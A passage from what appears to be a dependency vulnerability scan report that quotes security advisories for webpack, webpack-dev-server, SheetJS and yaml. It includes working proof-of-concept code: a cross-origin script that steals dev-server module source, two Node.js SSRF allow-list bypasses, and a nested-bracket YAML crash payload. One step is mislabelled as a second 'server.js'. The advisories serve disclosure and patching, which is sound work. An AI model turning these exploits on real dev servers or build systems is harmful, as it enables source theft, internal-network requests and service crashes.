Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
```
This script uses the function generated by [`renderRequire`](https://github.com/webpack/webpack/blob/3919c844eca394d73ca930e4fc5506fb86e2b094/lib/javascript/JavascriptModulesPlugin.js#L1383).
```js
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
```
Especially, it uses the fact that `Array::forEach` is called for `__webpack_require__.i` and `execOptions` contains `__webpack_require__`.
It uses prototype pollution against `Array::forEach` to extract `__webpack_require__` reference.
### Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
<details>
<summary>Old content</summary>
### Summary
Source code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site.
### Details
When `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object.
By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.
I pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases.
### PoC
1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/`
5. Open the devtools console.
6. You can see the content of `src/index.js` and other scripts loaded.

The script in the POC site is:
```js
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
```
### Impact
This vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script.
</details>
CWE-749 Exposed Dangerous Method or FunctionVulnerable Software & Versions (NPM):
### Impact When webpack-dev-server is running on a non-HTTPS origin (the default), cross-origin requests from malicious websites can load the dev server's JavaScript bundles via `<script>` tags. The fix introduced in v5.2.1 (CVE-2025-30359) relied on `Sec-Fetch-Mode` and `Sec-Fetch-Site` request headers to block these requests, but browsers only send these headers for [potentially trustworthy origins](https://w3c.github.io/webappsec-secure-contexts/#is-origin-trustworthy). Over plain HTTP, the headers are absent and the check is bypassed. An attacker who knows the dev server's host, port, and output path can exfiltrate all module source code by intercepting the webpack runtime's module registration. This does not affect Chrome 142+ (and other Chromium-based browsers) due to [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions). ### Patches Patched in webpack-dev-server >= 5.2.4 by setting `Cross-Origin-Resource-Policy: same-origin` on responses. ### Workarounds Run the dev server with HTTPS enabled (`--https` or `server.type: 'https'` in config). ### Resources - [GHSA-4v9v-hfq4-rm2v](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v) (CVE-2025-30359) - original vulnerability - [GHSA-9jgg-88mc-972h](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h) (CVE-2025-30360) - prior bypassCWE-749 Exposed Dangerous Method or Function
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?webpack
Referenced In Project/Scope: package-lock.json: transitive
### Summary
When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
### Details
In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
**Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />
### PoC
This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#### 1) Setup
```bash
mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const http = require("http");
const url = require("url");
const allowedPort = 9000;
const internalPort = 9100;
const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function start(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// Internal-only service (SSRF target)
await start(internalPort, (req, res) => {
if (req.url === "/secret.js") {
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
return;
}
res.statusCode = 404;
res.end("not found");
});
// Allowed host (redirector)
await start(allowedPort, (req, res) => {
const parsed = url.parse(req.url, true);
if (parsed.pathname === "/redirect.js") {
const to = parsed.query.to || internalUrlDefault;
// Safety guard: only allow redirecting to localhost internal service in this PoC
if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
res.statusCode = 400;
res.end("to must be internal-only in this PoC");
console.log(`[allowed] blocked redirect to: ${to}`);
return;
}
res.statusCode = 302;
res.setHeader("Location", to);
res.end("redirecting");
console.log(`[allowed] 302 /redirect.js -> ${to}`);
return;
}
res.statusCode = 404;
res.end("not found");
});
console.log(`\nServer running:`);
console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);
console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();
```
#### 3) Create attacker.js
```js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");
const allowedPort = 9000;
const internalPort = 9100;
const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;
async function walk(dir) {
const out = [];
const items = await fs.readdir(dir, { withFileTypes: true });
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
} catch {
return false;
}
}
async function findInFiles(files, needle) {
const hits = [];
for (const f of files) if (await fileContains(f, needle)) hits.push(f);
return hits;
}
const fmtBool = b => (b ? "✅" : "❌");
(async () => {
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedBase],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const secret = m ? m[0] : null;
console.log("\n[ATTACKER RESULT]");
console.log(`- webpack version: ${webpackPkg.version}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
console.log(`- imported URL (allowed only): ${entryUrl}`);
console.log(`- temp dir: ${tmp}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log(`- bundle: ${bundlePath}`);
if (!secret) {
console.log("\n[SECURITY SUMMARY]");
console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
return;
}
const lockHit = await fileContains(lockfile, secret);
let cacheFiles = [];
try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;
const allTmpFiles = await walk(tmp);
const allHits = await findInFiles(allTmpFiles, secret);
console.log(`\n- extracted secret marker from bundle: ${secret}`);
console.log("\n[SECURITY SUMMARY]");
console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
console.log(`- Internal target (SSRF-like): ${internalTarget}`);
console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
console.log(`- ACTUAL: internal content treated as module and bundled`);
console.log("\n[EVIDENCE CHECKLIST]");
console.log(`- bundle contains secret: ${fmtBool(true)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log("\n[PERSISTENCE CHECK] files containing secret");
for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();
```
#### 4) Run
Terminal A:
```bash
node server.js
```
Terminal B:
```bash
node attacker.js
```
#### 5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
### Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
CWE-918 Server-Side Request Forgery (SSRF)Vulnerable Software & Versions (NPM):
### Summary
When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) can be bypassed to fetch resources from **hosts outside `allowedUris`** by using crafted URLs that include **userinfo** (`username:password@host`). If `allowedUris` enforcement relies on a **raw string prefix check** (e.g., `uri.startsWith(allowed)`), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (outbound requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion** (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
- webpack version: **5.104.0**
- Node version: **v18.19.1**
### Details
**Root cause (high level):** `allowedUris` validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., `new URL(uri)`), which interprets the **authority** as the part after `@`.
Example crafted URL:
- `http://127.0.0.1:9000@127.0.0.1:9100/secret.js`
If the allow-list is `["http://127.0.0.1:9000"]`, then:
- Raw string check:
`crafted.startsWith("http://127.0.0.1:9000")` → **true**
- URL parsing (WHAT `new URL()` will contact):
`origin` → `http://127.0.0.1:9100` (host/port after `@`)
As a result, webpack fetches `http://127.0.0.1:9100/secret.js` even though `allowedUris` only included `http://127.0.0.1:9000`.
**Evidence from reproduction:**
- Server logs showed the internal-only endpoint being fetched:
- `[internal] 200 /secret.js served (...)` (observed multiple times)
- Attacker-side build output showed:
- the internal secret marker was present in the **bundle**
- the internal secret marker was present in the **buildHttp cache**
<img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" />
### PoC
This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#### 1) Setup
```bash
mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const http = require("http");
const ALLOWED_PORT = 9000; // allowlisted-looking host
const INTERNAL_PORT = 9100; // actual target if bypass succeeds
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`// internal-only\n` +
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function listen(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// "Allowed" host (should NOT be contacted if bypass works as intended)
await listen(ALLOWED_PORT, (req, res) => {
console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
});
// Internal-only service (SSRF-like target)
await listen(INTERNAL_PORT, (req, res) => {
if (req.url === "/secret.js") {
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
return;
}
console.log(`[internal] 404 ${req.method} ${req.url}`);
res.statusCode = 404;
res.end("not found");
});
console.log("\nServers up:");
console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
function fmtBool(b) { return b ? "✅" : "❌"; }
async function walk(dir) {
const out = [];
let items;
try { items = await fs.readdir(dir, { withFileTypes: true }); }
catch { return out; }
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
const s1 = buf.toString("utf8");
if (s1.includes(needle)) return true;
const s2 = buf.toString("latin1");
return s2.includes(needle);
} catch {
return false;
}
}
(async () => {
const webpackVersion = require("webpack/package.json").version;
const ALLOWED_PORT = 9000;
const INTERNAL_PORT = 9100;
// NOTE: allowlist is intentionally specified without a trailing slash
// to demonstrate the risk of raw string prefix checks.
const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;
// Crafted URL using userinfo so that:
// - The string begins with allowedUri
// - The actual authority (host:port) after '@' is INTERNAL_PORT
const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;
const parsed = new URL(crafted);
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedUri],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
console.log("\n[ENV]");
console.log(`- webpack version: ${webpackVersion}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);
console.log("\n[CRAFTED URL]");
console.log(`- import specifier: ${crafted}`);
console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
console.log(`- WHAT URL() parses:`);
console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);
console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);
console.log(` - hostname: ${parsed.hostname}`);
console.log(` - port: ${parsed.port}`);
console.log(` - origin: ${parsed.origin}`);
console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error("\n[WEBPACK ERRORS]");
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const foundSecret = m ? m[0] : null;
console.log("\n[RESULT]");
console.log(`- temp dir: ${tmp}`);
console.log(`- bundle: ${bundlePath}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log("\n[SECURITY CHECK]");
console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);
if (foundSecret) {
const lockHit = await fileContains(lockfile, foundSecret);
const cacheFiles = await walk(cacheDir);
let cacheHit = false;
for (const f of cacheFiles) {
if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
}
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
}
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();
```
#### 4) Run
Terminal A:
```bash
node server.js
```
Terminal B:
```bash
node attacker.js
```
#### 5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
### Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
CWE-918 Server-Side Request Forgery (SSRF)Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?xlsx
Referenced In Project/Scope: package-lock.json: transitive
All versions of SheetJS CE through 0.19.2 are vulnerable to "Prototype Pollution" when reading specially crafted files. Workflows that do not read arbitrary files (for example, exporting data to spreadsheet files) are unaffected. A non-vulnerable version cannot be found via npm, as the repository hosted on GitHub and the npm package `xlsx` are no longer maintained. Version 0.19.3 can be downloaded via https://cdn.sheetjs.com/.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable Software & Versions (NPM):
SheetJS Community Edition before 0.20.2 is vulnerable.to Regular Expression Denial of Service (ReDoS). A non-vulnerable version cannot be found via npm, as the repository hosted on GitHub and the npm package `xlsx` are no longer maintained. Version 0.20.2 can be downloaded via https://cdn.sheetjs.com/.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
SheetJS Pro through 0.16.9 allows attackers to cause a denial of service (memory consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js (issue 1 of 2).CWE-400 Uncontrolled Resource Consumption
Vulnerable Software & Versions (NPM):
SheetJS Pro through 0.16.9 allows attackers to cause a denial of service (memory consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js (issue 2 of 2).CWE-400 Uncontrolled Resource Consumption
Vulnerable Software & Versions (NPM):
SheetJS Pro through 0.16.9 allows attackers to cause a denial of service (CPU consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js.CWE-345 Insufficient Verification of Data Authenticity, CWE-400 Uncontrolled Resource Consumption
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?yaml
Referenced In Project/Scope: package-lock.json: transitive
Parsing a YAML document with `yaml` may throw a RangeError due to a stack overflow.
The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2–10 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process.
Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).
Note: the library's `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.
All three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`.
### PoC
```javascript
const YAML = require('yaml');
// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);
try {
YAML.parse(payload);
} catch (e) {
console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
console.log(e.message); // Maximum call stack size exceeded
}
```
Test environment: Node.js v24.12.0, macOS darwin arm64
| Version | Nesting Depth | Input Size | Result |
|---|---|---|---|
| 1.0.0 | 5,000 | 10,001 B | RangeError |
| 1.10.2 | 5,000 | 10,001 B | RangeError |
| 2.0.0 | 5,000 | 10,001 B | RangeError |
| 2.8.2 | 5,000 | 10,001 B | RangeError |
| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |
Depth threshold on yaml 2.8.2:
| Nesting Depth | Input Size | Result |
|---|---|---|
| 500 | 1,001 B | Parses successfully |
| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |
| 5,000 | 10,001 B | RangeError |
CWE-674 Uncontrolled RecursionVulnerable Software & Versions (NPM):